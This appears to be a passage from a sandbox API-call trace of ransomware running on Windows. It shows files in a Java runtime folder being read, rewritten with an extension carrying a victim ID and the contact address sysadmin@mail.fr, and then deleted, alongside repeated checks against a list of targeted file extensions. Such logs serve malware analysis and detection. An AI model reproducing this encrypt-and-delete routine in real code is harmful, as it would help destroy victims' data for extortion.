	[0138.989] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=1044) returned 1
	[0138.989] CloseHandle (hObject=0x49c) returned 1
	[0138.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20
	[0138.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0138.993] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.993] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0139.458] GetLastError () returned 0x0
	[0139.458] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x414, lpOverlapped=0x0) returned 1
	[0139.553] WriteFile (in: hFile=0x4a8, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x420, lpOverlapped=0x0) returned 1
	[0139.554] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.554] WriteFile (in: hFile=0x4a8, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xee, lpOverlapped=0x0) returned 1
	[0139.554] SetEndOfFile (hFile=0x4a8) returned 1
	[0139.555] CloseHandle (hObject=0x4a8) returned 1
	[0139.555] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.555] SetEndOfFile (hFile=0x49c) returned 1
	[0139.586] CloseHandle (hObject=0x49c) returned 1
	[0139.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0139.586] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1
	[0139.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.587] lstrlenW (lpString=".doc") returned 4
	[0139.587] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0139.587] lstrlenW (lpString=".docx") returned 5
	[0139.587] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0139.587] lstrlenW (lpString=".pdf") returned 4
	[0139.587] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0139.587] lstrlenW (lpString=".xls") returned 4
	[0139.587] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0139.587] lstrlenW (lpString=".xlsx") returned 5
	[0139.587] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0139.587] lstrlenW (lpString=".ppt") returned 4
	[0139.587] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.588] lstrlenW (lpString=".zip") returned 4
	[0139.588] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString=".rar") returned 4
	[0139.588] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString=".bz2") returned 4
	[0139.588] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString=".7z") returned 3
	[0139.588] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0139.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.588] lstrlenW (lpString=".dbf") returned 4
	[0139.588] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.588] lstrlenW (lpString=".1cd") returned 4
	[0139.588] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.588] lstrlenW (lpString=".jpg") returned 4
	[0139.588] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.588] lstrlenW (lpString=".doc") returned 4
	[0139.588] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString=".docx") returned 5
	[0139.588] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0139.588] lstrlenW (lpString=".pdf") returned 4
	[0139.588] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0139.588] lstrlenW (lpString=".xls") returned 4
	[0139.589] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0139.589] lstrlenW (lpString=".xlsx") returned 5
	[0139.589] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0139.589] lstrlenW (lpString=".ppt") returned 4
	[0139.589] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0139.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.589] lstrlenW (lpString=".zip") returned 4
	[0139.589] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0139.589] lstrlenW (lpString=".rar") returned 4
	[0139.589] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0139.589] lstrlenW (lpString=".bz2") returned 4
	[0139.589] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0139.589] lstrlenW (lpString=".7z") returned 3
	[0139.589] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0139.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.589] lstrlenW (lpString=".dbf") returned 4
	[0139.589] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0139.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.589] lstrlenW (lpString=".1cd") returned 4
	[0139.589] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0139.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0139.589] lstrlenW (lpString=".jpg") returned 4
	[0139.589] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0139.589] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0139.589] lstrlenW (lpString="content-types.properties") returned 24
	[0139.590] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0139.590] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=5548) returned 1
	[0139.590] CloseHandle (hObject=0x49c) returned 1
	[0139.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20
	[0139.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.591] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0139.591] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.591] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.591] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0139.592] GetLastError () returned 0x0
	[0139.592] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x15ac, lpOverlapped=0x0) returned 1
	[0139.669] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x15b0, lpOverlapped=0x0) returned 1
	[0139.670] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.670] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x104, lpOverlapped=0x0) returned 1
	[0139.670] SetEndOfFile (hFile=0x498) returned 1
	[0139.670] CloseHandle (hObject=0x498) returned 1
	[0139.670] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.670] SetEndOfFile (hFile=0x49c) returned 1
	[0139.706] CloseHandle (hObject=0x49c) returned 1
	[0139.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0139.707] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1
	[0139.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.707] lstrlenW (lpString=".doc") returned 4
	[0139.707] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0139.707] lstrlenW (lpString=".docx") returned 5
	[0139.707] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0139.707] lstrlenW (lpString=".pdf") returned 4
	[0139.707] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0139.707] lstrlenW (lpString=".xls") returned 4
	[0139.708] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString=".xlsx") returned 5
	[0139.708] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0139.708] lstrlenW (lpString=".ppt") returned 4
	[0139.708] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.708] lstrlenW (lpString=".zip") returned 4
	[0139.708] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString=".rar") returned 4
	[0139.708] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString=".bz2") returned 4
	[0139.708] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString=".7z") returned 3
	[0139.708] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0139.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.708] lstrlenW (lpString=".dbf") returned 4
	[0139.708] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.708] lstrlenW (lpString=".1cd") returned 4
	[0139.708] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.708] lstrlenW (lpString=".jpg") returned 4
	[0139.708] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0139.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.708] lstrlenW (lpString=".doc") returned 4
	[0139.709] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString=".docx") returned 5
	[0139.709] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0139.709] lstrlenW (lpString=".pdf") returned 4
	[0139.709] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString=".xls") returned 4
	[0139.709] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString=".xlsx") returned 5
	[0139.709] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0139.709] lstrlenW (lpString=".ppt") returned 4
	[0139.709] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.709] lstrlenW (lpString=".zip") returned 4
	[0139.709] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString=".rar") returned 4
	[0139.709] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString=".bz2") returned 4
	[0139.709] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString=".7z") returned 3
	[0139.709] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0139.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.709] lstrlenW (lpString=".dbf") returned 4
	[0139.709] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.709] lstrlenW (lpString=".1cd") returned 4
	[0139.709] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0139.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0139.709] lstrlenW (lpString=".jpg") returned 4
	[0139.709] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0139.710] lstrcmpiW (lpString1=".data", lpString2=".yG") returned -1
	[0139.710] lstrlenW (lpString="currency.data") returned 13
	[0139.710] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0139.710] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=4122) returned 1
	[0139.711] CloseHandle (hObject=0x49c) returned 1
	[0139.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20
	[0139.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0139.711] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.711] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0139.712] GetLastError () returned 0x0
	[0139.712] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x101a, lpOverlapped=0x0) returned 1
	[0139.773] WriteFile (in: hFile=0x4a8, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0139.775] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.775] WriteFile (in: hFile=0x4a8, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xee, lpOverlapped=0x0) returned 1
	[0139.775] SetEndOfFile (hFile=0x4a8) returned 1
	[0139.775] CloseHandle (hObject=0x4a8) returned 1
	[0139.776] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.776] SetEndOfFile (hFile=0x49c) returned 1
	[0139.781] CloseHandle (hObject=0x49c) returned 1
	[0139.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0139.782] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1
	[0139.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.784] lstrlenW (lpString=".doc") returned 4
	[0139.784] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0139.784] lstrlenW (lpString=".docx") returned 5
	[0139.784] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0139.784] lstrlenW (lpString=".pdf") returned 4
	[0139.784] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0139.784] lstrlenW (lpString=".xls") returned 4
	[0139.784] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0139.784] lstrlenW (lpString=".xlsx") returned 5
	[0139.784] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0139.784] lstrlenW (lpString=".ppt") returned 4
	[0139.784] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0139.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.784] lstrlenW (lpString=".zip") returned 4
	[0139.785] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0139.785] lstrlenW (lpString=".rar") returned 4
	[0139.785] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0139.785] lstrlenW (lpString=".bz2") returned 4
	[0139.785] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0139.785] lstrlenW (lpString=".7z") returned 3
	[0139.785] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0139.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.785] lstrlenW (lpString=".dbf") returned 4
	[0139.785] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0139.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.785] lstrlenW (lpString=".1cd") returned 4
	[0139.785] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0139.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.785] lstrlenW (lpString=".jpg") returned 4
	[0139.785] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0139.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.785] lstrlenW (lpString=".doc") returned 4
	[0139.785] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0139.785] lstrlenW (lpString=".docx") returned 5
	[0139.785] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0139.785] lstrlenW (lpString=".pdf") returned 4
	[0139.785] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0139.786] lstrlenW (lpString=".xls") returned 4
	[0139.786] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0139.786] lstrlenW (lpString=".xlsx") returned 5
	[0139.786] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0139.786] lstrlenW (lpString=".ppt") returned 4
	[0139.786] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0139.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.786] lstrlenW (lpString=".zip") returned 4
	[0139.786] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0139.786] lstrlenW (lpString=".rar") returned 4
	[0139.786] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0139.786] lstrlenW (lpString=".bz2") returned 4
	[0139.786] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0139.786] lstrlenW (lpString=".7z") returned 3
	[0139.786] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0139.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.787] lstrlenW (lpString=".dbf") returned 4
	[0139.787] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0139.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.787] lstrlenW (lpString=".1cd") returned 4
	[0139.787] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0139.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0139.787] lstrlenW (lpString=".jpg") returned 4
	[0139.787] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0139.787] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0139.787] lstrlenW (lpString="messages.properties") returned 19
	[0139.787] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0140.207] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=2860) returned 1
	[0140.207] CloseHandle (hObject=0x488) returned 1
	[0140.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20
	[0141.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
